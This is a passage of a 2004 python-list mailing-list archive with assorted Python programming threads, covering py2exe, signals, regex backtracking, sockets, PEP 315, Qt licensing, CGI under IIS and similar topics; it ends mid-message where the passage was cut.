From kalab at gmx.net  Mon Feb 16 04:06:57 2004
From: kalab at gmx.net (Gerhard Kalab)
Date: Mon, 16 Feb 2004 09:06:57 GMT
Subject: Easy way to make EXEs...
References: <NMDRb.28013$i4.26542@newsread1.news.atl.earthlink.net>
	<X8iSb.1962$jH6.125@newsread1.news.atl.earthlink.net>
	<3ce219d4.0402131914.4c0be0b@posting.google.com>
Message-ID: <4030857d.328688438@News.CIS.DFN.DE>

I also find it convenient to add the following lines to setup.py
(found in a sample somewhere):

if len(sys.argv) == 1:
    sys.argv.append("py2exe")

That way you can simply double-click on setup.py to create an
executable.

Gerhard

On 13 Feb 2004 19:14:24 -0800, billludden at msn.com (Bill Ludden) wrote:

>Voila!  Yeah!
>Thank You, Lucas!
>
>Newbs appreciate people like you.
>We have to search Google for hours to find a post that will put it on our level.
>I can't tell you how much I appreciate the step-by-step.
>Now I understand the process and the syntax.
>
>
>Gracias!!!!
>Grazie  !!!
>Thx.!!!
>
>
>
>
>
>
>
>
>
>
>
>"Lucas Raab" <pythongnome at hotmail.com> wrote in message news:<X8iSb.1962$jH6.125 at newsread1.news.atl.earthlink.net>...
>> "Xero Limit 126" <xerolimit126 at earthlink.net> wrote in message
>> news:NMDRb.28013$i4.26542 at newsread1.news.atl.earthlink.net...
>> > Okay, I am completely new to Python, and I really dont understand much,
>>  but
>> > I was wondering how to make a python script/program into a standalone
>>  .EXE?
>> > I dont understand py2exe at all, so if someone could tell me or find me an
>> > easy (For a newbie) to convert Python scripts to EXEs, please let me know!
>> >
>> > Thanks for any help!
>> >
>> >
>> You should have no trouble with py2exe at all. A simple setup script would
>> be:
>> 
>> #setup.py
>> from distutils.core import setup
>> import py2exe
>> 
>> setup(name="myfile.py",
>>       scripts=["myfile.py"],
>>       )
>> 
>> Then to compile that file, go to the command prompt and switch to the
>> directory that the file is in. For example on my machine I would do the
>> following:
>> 
>> Microsoft Windows XP [Version 5.1.2600]
>> (C) Copyright 1985-2001 Microsoft Corp.
>> 
>> C:\Documents and Settings\Lucas Raab>cd C:\Python23
>> 
>> C:\Python23>python setup.py py2exe
>> 
>> Wait a few moments for py2exe to compile your script and Voilla!! you have
>> an executable.



From jcarlson at nospam.uci.edu  Tue Feb  3 22:36:13 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Tue, 03 Feb 2004 19:36:13 -0800
Subject: wxPython issues
In-Reply-To: <5onv10pd080l2jkufaigdtcn21p2735jpf@4ax.com>
References: <ssaq10pipoj5c8hn7pjcm2r1o0vvf9j8j2@4ax.com>
	<bvk4m4$rna$1@news.service.uci.edu>
	<b6et10l67pa22s4sf34tp646efd7ip78t9@4ax.com>
	<bvmn6r$9r0$1@news.service.uci.edu>
	<5onv10pd080l2jkufaigdtcn21p2735jpf@4ax.com>
Message-ID: <bvppfm$7fu$1@news.service.uci.edu>

>>>No, the thing is:
>>>
>>>It is a (still primitive) filemanager, where copy should be run in a
>>>worker thread
>>>in background (you can copy 1 GB file), and you should be able to work
>>>with the
>>>program without waiting
>>
> [snip]
> 
> thank you again for your valuable Information!

No problem.  I've spent more time that I'd like to admit playing with 
threads.  I do enjoy playing with wxPython though...it is fun.

  - Josiah

P.S. If you are looking for a good editor for Python, I wrote one:
http://pype.sourceforge.net


From steve at ninereeds.fsnet.co.uk  Sun Feb 22 03:26:48 2004
From: steve at ninereeds.fsnet.co.uk (Stephen Horne)
Date: Sun, 22 Feb 2004 08:26:48 +0000
Subject: class vs function ???
References: <1c764367.0402210857.579f59ab@posting.google.com>
	<1c764367.0402212226.7002821f@posting.google.com>
Message-ID: <jhmg30pn7fp63gqimvb3n5cqpulugkkjb7@4ax.com>

On 21 Feb 2004 22:26:14 -0800, gveda at iitk.ac.in (Gaurav Veda) wrote:

>My basic doubts were :
>1) I am allowed to write things in the class body without the need for
>encapsulating them in functions. Moreover, they are executed as soon
>as I define the class. Infact, I can also call functions in the class
>body (the way  I called fun2). All this, while I am just defining the
>class !	-- I still don't understand why are classes implemented in
>this way in pyhton.

Well, I think of it this way. Some time back in ancient prehistory,
Python didn't have classes - but it did have simple imperitive code.
At some point, someone needed to add classes in. The options were...

1.  Make a minimal change, exploiting the existing functionality to
    allow quite sophisticated classes to be defined relatively easily
    using normal code and concepts that were already familiar to
    Python users and which could potentially benefit from updates to
    the core language.

2.  Treat class bodies as a completely new thing, and define a new
    'sublanguage' for them from the ground up which, once developed,
    Python users would have to learn as an extra thing in addition
    to the existing non-class aspects of Python, and which could not
    benefit from future useful additions to the core language unless
    their implementation was explicitly duplicated in the class
    definition sublanguage.

The first choice might seem odd if your experience up to now is mostly
of statically typed languages (where it isn't really an option) but
for a scripting language like Python, IMHO it is the most rational
choice.

>PS : No Steve, I am not trying out any tricks here. Believe me, I know
>too little to do any of that :)

OK, I guess I'll accept that - but I'm still keeping my eye on you <g>



BTW Python itself is already a compiler - a bytecode compiler - so if
you really need to write your own compiler I'd suggest taking a look
at how the PYC files are generated, and seeing if you can just wrap
them (or something similar) in an exe that embeds the Python
interpreter (or a subset of it, including at least the bytecode
interpreter and its dependencies). Keep in mind that converting a
sequence of text statements into a sequence of function calls (doing
little more than parsing and linearising expressions) may be a bit
simplistic, but it works - and doing anything noticably more
sophisticated would probably be pretty hard work.

I assume that's the approach taken by the existing Py2exe
(http://starship.python.net/crew/theller/py2exe/index.html).

If you need to write something more advanced, using static analysis to
do special case optimisations when possible, there was a project doing
something similar a little while back but I forget the name. I've done
some googling and keep finding references to Viperc, but I don't think
that's the one I'm thinking of.

If you can find it (whatever it's called) I imagine you'll find it
pretty clueful too.

If your aiming for more of a Python-like but not entirely compatible
language, Pyrex (http://www.cosc.canterbury.ac.nz/~greg/python/Pyrex/)
may also provide some useful hints. It supports some static typing
syntax, which allows it to safely use more efficient compiled code in
many special cases (without requiring it to use psychic powers in its
static analysis).


-- 
Steve Horne

steve at ninereeds dot fsnet dot co dot uk


From et472 at FreeNet.Carleton.CA  Sat Feb 21 12:50:40 2004
From: et472 at FreeNet.Carleton.CA (Michael Black)
Date: 21 Feb 2004 17:50:40 GMT
Subject: Python Productivity Gain?
References: <mailman.16.1077122875.27104.python-list@python.org>
	<403687e1$1@nntp0.pdx.net> <40368BF3.2FE82B1A@engcorp.com>
	<mailman.126.1077319302.27104.python-list@python.org>
	<103etl21cvjaq2a@corp.supernews.com>
Message-ID: <c185pg$7mg$1@freenet9.carleton.ca>

Cameron Laird (claird at lairds.com) writes:
> In article <mailman.126.1077319302.27104.python-list at python.org>,
> Thomas Heller  <theller at python.net> wrote:
> 			.
> 			.
> 			.
>>Hm, no, not hex.  This was an IM6100 microprocessor from intersil, a
>>clone of the DEC PDP-8 on one chip.  The 8080 was too expensive for me.
>>Around 1976..., built on a kind of wire wrap board - there were no
>>prefabricated kits at that time.
> 			.
> 			.
> 			.
> IMSAI actually announced its first product at the end of
> '75 <URL: http://www.imsai.net/support/imsai_systems.htm >
> but I think they were hard to come by.

This has suddenly been crossposted, so I didn't see the earlier
messages.

But what's the connection between the IM6100 and the IMSAI?

Intersil made the IM6100, and there were never any major "home
computers" that used the CPU.  There were either very small
hobby outfits, and their names will not come to mind at this point,
or in engineering circles where there was good reason to be able
to put together small controllers that were very much like the PDP-8.

And if IMSAI is brought in for some claim to an early computer, it
came late.  The ALtair 8800 came out in late 1974.

  Michael



From miki.tebeka at zoran.com  Thu Feb 26 11:58:54 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 26 Feb 2004 08:58:54 -0800
Subject: Signal question
References: <30875970.0402251600.c5020bf@posting.google.com>
Message-ID: <4f0a9fdb.0402260858.3e2e6bd7@posting.google.com>

Hello Ian,

> I am on WinXPPro and want to catch the keyboard interrupt signal.
> Will Python 2.3.3 signal handler catch it?
from signal import SIGINT, signal
from time import sleep

def sigint_handler(signum, frame):
    print "OUCH"

signal(SIGINT, sigint_handler)

while 1:
    sleep(1)
    print "BEEP"

> Cannot find this in the Pyt docs,http://www.python.org/doc/current/lib/module-signal.html 

> Mind nor can I find `inc += 1` statement that I find a poor substitute for `i++`!!
Python tries to keep the language as compact as possible. There is no
intension to make it look like C/C++. I don't find these 2 extra chars
annoying.

HTH.
Miki


From fortepianissimo at yahoo.com.tw  Sun Feb  8 10:29:10 2004
From: fortepianissimo at yahoo.com.tw (Fortepianissimo)
Date: 8 Feb 2004 07:29:10 -0800
Subject: regex searching hangs
Message-ID: <ef08387c.0402080729.621632ca@posting.google.com>

Could someone explains why the following code hangs (Python 2.3.3)?

--- CODE STARTS ---
import re

p=re.compile(r'\S+(?:\.\S+)+\.com')

t='......................................'
p.search(t)
--- CODE ENDS ---

>From the syntax and semantics of regex, the entire t should be
consumed by the pattern '\S+(?:\.\S+)+' and the search() call should
return None. Is search() doing a depth-first search and can't pulling
itself out? It doesn't seem right to me, or I'm missing something?

BTW, I don't think any regex matching should ever hang in any
circumstances - correct me if I'm wrong: is halting problem a problem
here?

Thanks!


From sandip at linux-delhi.org  Sat Feb 28 19:19:36 2004
From: sandip at linux-delhi.org (Sandip Bhattacharya)
Date: Sun, 29 Feb 2004 05:49:36 +0530
Subject: Reading text lines from a socket
In-Reply-To: <40412589.40704@venix.com>
References: <sqj7h1-efj.ln1@pluto.home> <40412589.40704@venix.com>
Message-ID: <opn7h1-mij.ln1@pluto.home>

[Reposting to the general list too]

Lloyd Kvam wrote:
> Sockets deal with packetized data.  The network protocols do not guarantee
> keeping the data in line oriented chunks - even if the data starts out 
> that way.
> 
> You need to deal with extracting lines from chunks.  So long as the 
> connection is
> working properly, this is easy.  The challenge occurs when the remainder 
> of a line
> never gets delivered.  The best strategy depends upon the details of 
> what you are
> doing.

I understand that. In Python using sockets is like using sockets in C.

However, I was looking for a python equivalent of the perl idiom of 
opening a socket and getting a file handle ... and then reading this 
file handle as any other line oriented file using $socket->readline

I am trying to write a simple Netcraft style script which tries the HEAD 
method on a webserver and reads the Server: header from the response. I 
would not like to use urllib, because even a call to something like 
urllib.info() reads in the complete webpage on an open().

Even if this particular problem could be done elegantly, I would be 
interested to know the answer to my original question because the 
feature of reading a line at a time from a socket will help me in a lot 
of other places in the future.

- Sandip

-- 
Sandip Bhattacharya
sandip (at) puroga.com
Puroga Technologies Pvt. Ltd.
Work: http://www.puroga.com        Home: http://www.sandipb.net

GPG: 51A4 6C57 4BC6 8C82 6A65 AE78 B1A1 2280 A129 0FF3




From feb04.20.netman at spamgourmet.com  Fri Feb 20 09:28:37 2004
From: feb04.20.netman at spamgourmet.com (Chris)
Date: Fri, 20 Feb 2004 14:28:37 GMT
Subject: eval ?
References: <mailman.104.1077277571.27104.python-list@python.org>
Message-ID: <pQoZb.37157$M8.26972@nwrdny02.gnilink.net>

One way to do this is:

for index in range(1,4):
    list=[]
    for index in range(1,7):
    if <condition>:
        list.append(1)
        locals()['list_'+str(index)] = list

Of course this isn't going to work the way you expect, because you're
assigning a pointer to "list" to "list_n" with each iteration, and at the
end, all of your "list_n" variables are going to reference the same object,
the one orginally referenced by "list"

Perhaps you are looking for something like:

>>> dict([('list_'+str(n), [1,]*n) for n in xrange(1,7) if <condition>])

so if condition is "n in (2,4,6)", you'd get output like:

>>> foo = dict([('list_'+str(n), [1]*n) for n in xrange(1,7) if n in
(2,4,6)])
>>> foo
{'list_2': [1, 1], 'list_6': [1, 1, 1, 1, 1, 1], 'list_4': [1, 1, 1, 1]}
>>> foo['list_4']
[1, 1, 1, 1]

Note that I'm createing a brand new list (via "[1]*n") with each iteration
of the list comprehension, rather than using a reference to a previously
created list.

HTH
Chris

"Angelo Secchi" <secchi at sssup.it> wrote in message
news:mailman.104.1077277571.27104.python-list at python.org...
>
> I'm trying to use eval (is the right function? ) to generate empty lists
> with different names(es. list_1, list_2, list_3, ...) in a loop similar
> to:
>
> for index in range(1,4):
> list=[]
> for index in range(1,7):
> if <condition>:
> list.append(1)
> foo='list_'+str(index)+'=list'
> eval(foo)
>
> I am not a programmer as you probably see from the code and I do not
> even know if this is the right approach to do that in Python (I used
> this structure with Matlab that I want now to dismiss ...)
>
> Any help?
> Thanks
> angelo
>




From jcarlson at nospam.uci.edu  Wed Feb 18 14:11:11 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 18 Feb 2004 11:11:11 -0800
Subject: PEP-315 ("do" loop)
In-Reply-To: <mailman.55.1076984559.31398.python-list@python.org>
References: <mailman.55.1076984559.31398.python-list@python.org>
Message-ID: <c10dh7$agt$1@news.service.uci.edu>


> 1. It's clever, addresses a definite "wart",  and is syntactically 
> similar to try/except. But it's syntax seems like an acquired taste to me.

Clever, perhaps.  Ugly and confusing, yes.  Solves a 'problem' that 
isn't a problem, most definitely.


> while 1:
>     line = sys.stdin.readline()
>     if line == "\n":
>         break

I use these all the time, and find them conceptually convenient.  Most 
Junior/Senior undergraduate computer science majors have no problems 
understanding this concept, so I don't think it is necessary to change 
the while syntax.


> until line == "\n":
>     line = sys.stdin.readline()
> 
> Would be defined to work exactly like a while loop except the test is 
> not evaluated the first time through the loop. Wouldn't this be akin to 
> checking at the end of the loop, while maintaining a more while-ish syntax?

As others have said, it is not obvious that until implies "don't test 
the condition the first time through".


> Is this at all useful or is something of the order of PEP-315 the way to 
> go?

Personally, I find altering the syntax of while, or adding the 'do' to 
be a wart.  I've never had problems understanding or writing code like 
the following;
while 1:
     #setup
     if <condition>:  break
     #body

If I had a vote, I'd be -1 on PEP 315.

  - Josiah


From jdhunter at ace.bsd.uchicago.edu  Fri Feb 27 12:15:01 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Fri, 27 Feb 2004 11:15:01 -0600
Subject: Plotting modules
In-Reply-To: <c1m6vd$sij$2@rumours.uwaterloo.ca> (DG's message of "Thu, 26
	Feb 2004 20:36:45 -0500")
References: <c1m6vd$sij$2@rumours.uwaterloo.ca>
Message-ID: <m2brnkculm.fsf@mother.paradise.lost>


You may want to look at matplotlib -
http://matplotlib.sourceforge.net.  You can embed it in a number of
GUIs (Wx, GTK and Tk) or use it simply for image generation.  Tk is in
CVS and will be released next week.

  DG> Cross platform (linux and windows) and can build into binary
  DG> form, or easy to install form on linux and windows.

All releases have windows installers.  Easy build on linux (python
setup.py install)

  DG> Hopefully still maintained (unlike biggles)

Very actively, by yours truly :-)

  DG> Easy to use (like scipy.gplt)

You may want to check out the tutorial, to see if it looks easy for
you - http://matplotlib.sourceforge.net/tutorial.html

I use matplotlib in applications that run on windows and linux.  I
haven't tried to package it up into a single all inclusive installer,
eg, py2exe or McMillan, however, so I can't give you any information
there.

John Hunter



From Moosebumps at Moosebumps.Moosebumps  Sat Feb 21 17:37:44 2004
From: Moosebumps at Moosebumps.Moosebumps (Moosebumps)
Date: Sat, 21 Feb 2004 22:37:44 GMT
Subject: list partition
Message-ID: <Y4RZb.28632$x57.632@newssvr25.news.prodigy.com>

Is there a function that takes a list and predicate, and returns two
lists -- one for which the predicate is true and one for which it is false?

I know I can call filter(p, list) and filter( not p, list) or something like
that, but I assume it would be more efficient to do it in one pass.

Actually I probably can't call "not p", I would have to wrap p in a function
notP or something.  Or is there a shortcut for lambda(x) : not p(x)?  I
guess it isn't that long : )

MB




From wfolta at netmail.to  Fri Feb  6 13:06:00 2004
From: wfolta at netmail.to (Wayne Folta)
Date: Fri, 6 Feb 2004 13:06:00 -0500
Subject: Best Beginner's Guide To Python?
In-Reply-To: <xqx7jz0d3op.fsf@cola2.ca.boeing.com>
References: <3b48d777.0402052148.3cd8e16c@posting.google.com>
	<IjHUb.32057$P17.24576@fed1read03>
	<xqx7jz0d3op.fsf@cola2.ca.boeing.com>
Message-ID: <1EB8E5AE-58CF-11D8-A168-000A959CB2EC@netmail.to>

> When you say you must indent every line and then undent every
> line....are you using an editor that knows how to do a block
> shift-right and shift-left?  In emacs, you just grab the code with a

Agreed. Python is more dependent on a reasonable editor than other 
languages, if only for this feature. Depending on the OS you're using, 
you may already have such editors. For example, vi (or better vim) is 
available on all UNIX-based systems. Most IDEs should support block 
indent/undent as well.

Another widely-used editor in MacOS X (if that's what you're using) is 
BBEdit which also supports this.

If nothing else, a reasonable editor also supports syntax coloring 
which I used to scoff at but now find quite useful.

With something like BBEdit, you simply select the lines in question and 
press CMD-] to indent and CMD-[ to undent. It's faster and more 
reliable than killing/adding braces at both ends.

I also agree with the 2nd ed Learning Python recommendations. I've 
programmed for over 20 years, so it might be a little hard to tell what 
a total novice needs, but it is well-written and looks useful for all 
levels.




From bdesth.quelquechose at free.quelquepart.fr  Thu Feb  5 14:42:52 2004
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Thu, 05 Feb 2004 20:42:52 +0100
Subject: where does Python stand?
In-Reply-To: <d99e1341.0402050505.226a01c8@posting.google.com>
References: <d99e1341.0402050505.226a01c8@posting.google.com>
Message-ID: <402297a3$0$11234$626a54ce@news.free.fr>

Ben wrote:
> Hi all!
> 
> I learned Python as part of my university coursework... I enjoyed it.
> Now I'm just wondering how Python compares with asp, jsp, php and what
> not?? I don't have slightest knowledge about these languages... 

ASP (Active Server Page) is a technology, not a language - you can code 
ASP with at least VB, Jscript and C#.

JSP (Java Server Page) is mostly a way of embedding Java code in a web 
page. Here again, more a techno than a language by itself.

VB, C# and Java *are* general purpose programming languages.

PHP, even if it's true that it began as a web scripting language, is now 
usable as a stand-alone, 'general purpose' programming language (there's 
even a Gtk+ binding...).

> Are
> they more advanced than Python? 

Depends... What does 'more advanced' mean ?

> Can Python be integrated with
> Dreamweaver?

I don't think so, at least not like PHP or ASP ir like. If you plan to 
use Python for web development, there are many other solutions - Zope, 
Spyce, etc, Google is your friend !-)

> Hope some of you can get me out of confusion...

Hope we did !-)

Bruno



From roy at panix.com  Sun Feb  1 19:44:03 2004
From: roy at panix.com (Roy Smith)
Date: Sun, 01 Feb 2004 19:44:03 -0500
Subject: advice on programming style: is multiple inheritance bad?
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
	<401d5562$0$318$e4fe514c@news.xs4all.nl>
	<slrnc1r2id.ea6.joe@gate.notcharles.ca>
Message-ID: <roy-4C70DC.19440301022004@reader2.panix.com>

Joe Mason <joe at notcharles.ca> wrote:
> When profiling a large app at work, we discovered that in C++ accessing
> every parent class after the first is quite slow.  We were able to just
> flip the order of inheritance for some classes, but if you're planning a
> complex use of multiple inheritance you should keep that in mind.  (I'm
> just assuming it has the same effect in Python.)

The execution environments of C++ and Python are completely different.  
Compiled vs. interpreted.  Dynamic vs. static binding.   There's no 
reason to believe that what's fast or slow in one language should be 
fast or slow in the other, especially with such low-level details of how 
inheritance works.

Your comment about profiling is a good one, though.  If you want to see 
what makes an application slow, profile it.  Measuring always works 
better than guessing.  And that's true in any language.


From mwh at python.net  Thu Feb 26 11:39:27 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 26 Feb 2004 16:39:27 GMT
Subject: python-dev Summary for 2004-01-01 through 2004-01-31
References: <mailman.19.1077587431.8594.python-list@python.org>
	<8ab0589d.0402251718.5b728a3@posting.google.com>
	<c1jm2n$q9k$1@panix3.panix.com> <m3ad36dpvo.fsf@pc150.maths.bris.ac.uk>
	<c1l1gm$p4t$1@panix1.panix.com>
Message-ID: <m3n075dcch.fsf@pc150.maths.bris.ac.uk>

aahz at pythoncraft.com (Aahz) writes:

> In article <m3ad36dpvo.fsf at pc150.maths.bris.ac.uk>,
> Michael Hudson  <mwh at python.net> wrote:
> >aahz at pythoncraft.com (Aahz) writes:
> >> <raised eyebrow>  How's it a pain?  Just write a Python script that does
> >> an scp of the file to creosote, then rsh/ssh to run another Python script
> >> on creosote that does the mailing.  <evil grin>
> >
> >Via which SMTP server, exactly?
> 
> creosote's, of course

I think I just learnt something about the way email works...

Cheers,
mwh

-- 
  Java sucks. [...] Java on TV set top boxes will suck so hard it
  might well inhale people from off  their sofa until their heads
  get wedged in the card slots.              --- Jon Rabone, ucam.chat


From JoeSmith at IDontWantSpam.bogus.bogusaddress.com  Sun Feb 15 15:53:39 2004
From: JoeSmith at IDontWantSpam.bogus.bogusaddress.com (JoeSmith)
Date: Sun, 15 Feb 2004 20:53:39 GMT
Subject: Win32: Running python programs from a Cygwin shell
In-Reply-To: <slrnc2rvbm.eoi.jgrahn-nntq@frailea.sa.invalid>
References: <slrnc2rvbm.eoi.jgrahn-nntq@frailea.sa.invalid>
Message-ID: <n%QXb.13022$oe6.72@newssvr29.news.prodigy.com>


You could probably write a replacement for env that uses cygpath -m on the 
script file.  So, your env could call original env then do cygpath -m on the 
second paramter.  The one thing to think about is what the shell might do to 
other file/directory paramters passed to your script.  So, does it convert

	foo.py .

into:

	python /cygdrive/h/bin/foo.py python /cygdrive/h/bin/

Then your python script might not work.  So, do you run cygpath on all paramters?

The other option would be to write a special alias/script just for foo.py to 
handle on the oddities.  This is what I did to get it to execute gvim for 
win32.  I wrote a shell function to go through all paramters and run cygpath -m 
on everything that does not begin with a '-'.

If cygwin normalized everything to the cygpath -m, then I think that the 
integration with win32 would be substantially better.  So, in the above 
scenario, you would have gotten:

	python h:/bin/foo.py python h:/bin/

Both cygwin and win32 can handle this.  There would be problems when passing to 
  CMD.exe because it would see the "/"'s and barf.  I seem to remember that 
therewas some setting to get command.com or cmd.exe to change the switch char.

Jorgen Grahn wrote:
> I couldn't think of a good solution, and it's hard to Google for...
> 
> I write python command-line programs under Win2k, and I use the bash shell
> from Cygwin.  I cannot use Cygwin's python package because of a binary
> module which has to be compiled with Visual C 6.
> 
> My scripts start with a '#!/usr/bin/env python' shebang, as God intended.
> 
> Now, I assume I can make cmd.exe run foo.py by asociating *.py with the
> python interpreter.
> 
> However, if foo.py is in my path and I try to run it from bash, what happens
> is:
> 
> - bash runs env /cygdrive/h/bin/foo.py
> - env runs something like 'python /cygdrive/h/bin/foo.py'
> - ... and python (which doesn't know about Cygwin-style paths)
>   croaks on this, of course
> 
> Is there a way around this, which doesn't make my script unusable if I moved
> it to a Unix box, or ran it from cmd.exe?  
> 
> I'd prefer not to write wrapper scripts in perl/bash/BAT...
> 
> /Jorgen
> 



From chouyiyu at hotmail.com  Tue Feb 10 15:55:32 2004
From: chouyiyu at hotmail.com (Yi-Yu Chou)
Date: Tue, 10 Feb 2004 20:55:32 +0000
Subject: Lots of Actors
Message-ID: <BAY8-F75ISic4jhJNiH0003b061@hotmail.com>

Dear all,

I want to use line segments to display a 3D vector field.
However, my progrm becomes very slow when displaying this vector field if 
the number of lin segments is very huge. Is there any better method to do 
it ?
Thanks in advance !!!

Below is my code :
line = []
line_mapper = []
self.line_actor = []		
for i in range(0, vf_points.num):
	line.append(vtkLineSource())
	line[i].SetPoint1(vf_points.x[i],vf_points.y[i],vf_points.z[i])
	line[i].SetPoint2(vf_points.x[i] + vf.vx[i],vf_points.y[i] + 
vf.vy[i],vf_points.z[i] + vf.vz[i])
	line_mapper.append(vtkPolyDataMapper())
	line_mapper[i].SetInput(line[i].GetOutput())
	self.line_actor.append(vtkActor())
	self.line_actor[i].SetMapper(line_mapper[i])
	self.line_actor[i].GetProperty().SetLineWidth(1)
	self.line_actor[i].GetProperty().SetColor(0,1,1)
	self.line_actor[i].PickableOff()
	self.tar_renderer.AddActor(self.line_actor[i])

_________________________________________________________________
?? MSN ???????????????????? 
http://groups.msn.com?pgmarket=zh-tw  




From ketulp_baroda at yahoo.com  Thu Feb 26 05:05:00 2004
From: ketulp_baroda at yahoo.com (ketulp_baroda at yahoo.com)
Date: 26 Feb 2004 02:05:00 -0800
Subject: Is MVC architecture applicable for web environment??
Message-ID: <f046efac.0402260204.2ed4588b@posting.google.com>

Hi
Is the true mvc architecture ( with observer-observable pattern as
implemented in JAVA) not applicable for web environment??
I mean to say that the HTTP protocol is request/response based so
there is no notion of an "event" being notified ...
whereas the observer-observable pattern is based on event.


From and-google at doxdesk.com  Thu Feb 26 04:47:14 2004
From: and-google at doxdesk.com (Andrew Clover)
Date: 26 Feb 2004 01:47:14 -0800
Subject: Python scripts in IIS
References: <mailman.109.1077725992.8594.python-list@python.org>
Message-ID: <2c60a528.0402260147.42b9e635@posting.google.com>

Robert Brewer <fumanchu at amor.org> wrote:

>> Note: you really want -
>>    ...python.exe -u %s %s

(Note to self and Google: you *really* want:

  ...python.exe -u "%s" %s

just in case the filename has space characters in.)

> What you *really* want ;) is to avoid allowing users to pass arbitrary
> strings on the command line, which is what happens with this technique.

? IIS passes arbitrary strings, not the user. Of course the 'check
file exists' option should be set to avoid parameter injection, but
that's common sense, and the IIS5 default.

> You should seriously look into ASP, mod python, or some other means of
> more safely connecting python to a web server.

I can't agree with this at all. CGI is the only standard we can
currently use to write cross-platform scripts. ASP is fine if you want
to be locked to IIS; coding to mod_python limits you to Apache.

CGI is also a well-understood protocol with widely-used implementations.
mod_python, judging by the recent repeated appearance of security
problems, is not yet at quite this level of maturity. Writing secure
web applications is an issue in itself, without having to worry about
whether your application server/interfacing layer is going to let you
down.

Yes, CGI is slow, and it does have a few practical problems in the area
of HTTP Authentication. But until WEB-SIG comes up with a standard
webapp encapsulation interface it's the only write-once-run-anywhere
standard we've got. I'm not saying that ASP or mod_python are unworthy
technologies, but choosing one of them will tie your subsequent choices
a tad. Convenience is a good reason for choosing either of them over
CGI; security is not.

-- 
Andrew Clover
mailto:and at doxdesk.com
http://www.doxdesk.com/


From jacek.generowicz at cern.ch  Thu Feb 26 06:39:22 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 26 Feb 2004 12:39:22 +0100
Subject: Some language proposals.
References: <mailman.153.1077788094.8594.python-list@python.org>
Message-ID: <tyf3c8ym5n9.fsf@pcepsft001.cern.ch>

"Jimmy Retzlaff" <jimmy at retzlaff.com> writes:

> The function new.instancemethod will build an instance method for
> you

Ah yes, I remember putting instancemethod through its paces, and even
discovering the undocumented feature of it accepting None as an
instance ... my recollection is that it did not work with callable
instances as the callable, but clearly I'm misremembering. I can't
find a problem with builtins either ... but a little voice is telling
me that I came across some problem with this approach, somewhere along
the line.

Oh well, thanks for showing me that this approach works better that my
recollection of it.


From bnet at ifrance.com  Mon Feb  9 11:34:14 2004
From: bnet at ifrance.com (Benoit Dejean)
Date: Mon, 09 Feb 2004 17:34:14 +0100
Subject: fork, exec, and disown
References: <pan.2004.02.08.11.36.25.192799@ifrance.com>
	<7iy8rdd51u.fsf@enark.csis.hku.hk>
	<pan.2004.02.08.16.37.50.548181@ifrance.com>
	<7in07tj59r.fsf@enark.csis.hku.hk>
Message-ID: <pan.2004.02.09.16.34.13.730775@ifrance.com>

> So double forking has its merits, since it is per-child rather than
> per-parent.  And modern OS actually do fork() rather efficiently anyway.

 thank you, i'll keep the double fork.



From http  Sun Feb  1 18:34:32 2004
From: http (Paul Rubin)
Date: 01 Feb 2004 15:34:32 -0800
Subject: OT: why do web BBS's and blogs get so slow?
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<bvic0i$bbt$1@panix1.panix.com>
Message-ID: <7xk736s7av.fsf@ruckus.brouhaha.com>

aahz at pythoncraft.com (Aahz) writes:
> Much as I'm loathe to mention it, you might might also want to take a
> look at LiveJournal to see how they do it.

But LiveJournal is another one of those sites that slows to a crawl
when loaded.  I want to know how the FAST sites do it.


From ken at perfect-image.com  Fri Feb  6 10:06:10 2004
From: ken at perfect-image.com (Ken Godee)
Date: Fri, 06 Feb 2004 08:06:10 -0700
Subject: Qt/PyQt license confusion
In-Reply-To: <30260531.0402051512.4924a4a9@posting.google.com>
References: <30260531.0402040954.68209983@posting.google.com>	<mailman.1242.1075995721.12720.python-list@python.org>
	<30260531.0402051512.4924a4a9@posting.google.com>
Message-ID: <4023AD62.5030609@perfect-image.com>

>>Under windows commercial, you could distribute, but...
>>it has to been done in a way that does not allow
>>user direct access to the underlying Qt/Pyqt base
>>code. So they could not use to create there own programs.
> 
> Does this mean I couldn't distribute the Qt/PyQT DLL's still as they
> could be used to run other Py[Qt] apps, I guess static (McMillan
> Installer) binaries would be OK....
> 
The PyQt site has some Howto's on how to package up your
apps under win/linux.

> I wonder if it might be worth getting BA for the PyQt license and the
> book for the full Qt license (i.e. it works with C++ too) although
> that's $110+ now....

If you buy the BA lic. you get current version
of Qt/PyQt combo for win/linux.
$80.00

If you buy the book, you get NON-COMMERCIAL Qt only, which
you already got with BA.

I've got a copy of the book coming as we speak, $31 @ amazon
I think $31 just to have the book as a reference by itself
is worth the money and as far as these types of books go, that's a very
resonable price. Wanna buy a shelf full of Perl books?

>>I went through the same thing, going back
>>and forth with wxpy/pyqt, installed and have
>>used both. I'm staying in the PyQt camp and
>>have found very little use (none yet) for win
>>or commercial use. The little tool kit one
>>can put together is outstanding.....
>>Qt, Qt Assistant, Qt Designer,
>>PyQt, pyuic, eric3, etc......
> 
> 
> Well I'm not a very "visual" style programmer so Designer/pyuic are
> not really for me, but the Python version of Assistant looks very
> promising (as I hate the C++ docs, when you're coding Python!)

I tell ya, using Designer/pyuic one can belt out a pretty
complex form in a fraction of the time. If you haven't atleast
gave it a good go, you should.

I'm sure you know already, but you can buy just the Qt c++ docs
converted to PyQt for $20 as a stand alone.





From aahz at pythoncraft.com  Wed Feb 25 14:55:17 2004
From: aahz at pythoncraft.com (Aahz)
Date: 25 Feb 2004 14:55:17 -0500
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<tyf1xojnzwp.fsf@pcepsft001.cern.ch>
	<m34qtffidu.fsf@pc150.maths.bris.ac.uk>
	<tyfwu6bmfhx.fsf@pcepsft001.cern.ch>
Message-ID: <c1iuj5$7q3$1@panix1.panix.com>

In article <tyfwu6bmfhx.fsf at pcepsft001.cern.ch>,
Jacek Generowicz  <jacek.generowicz at cern.ch> wrote:
>
>Sure. I have some stateful methods of classes (which I create
>dynamically and stick onto the class as the information about the
>existence of the method becomes available). By implementing them as
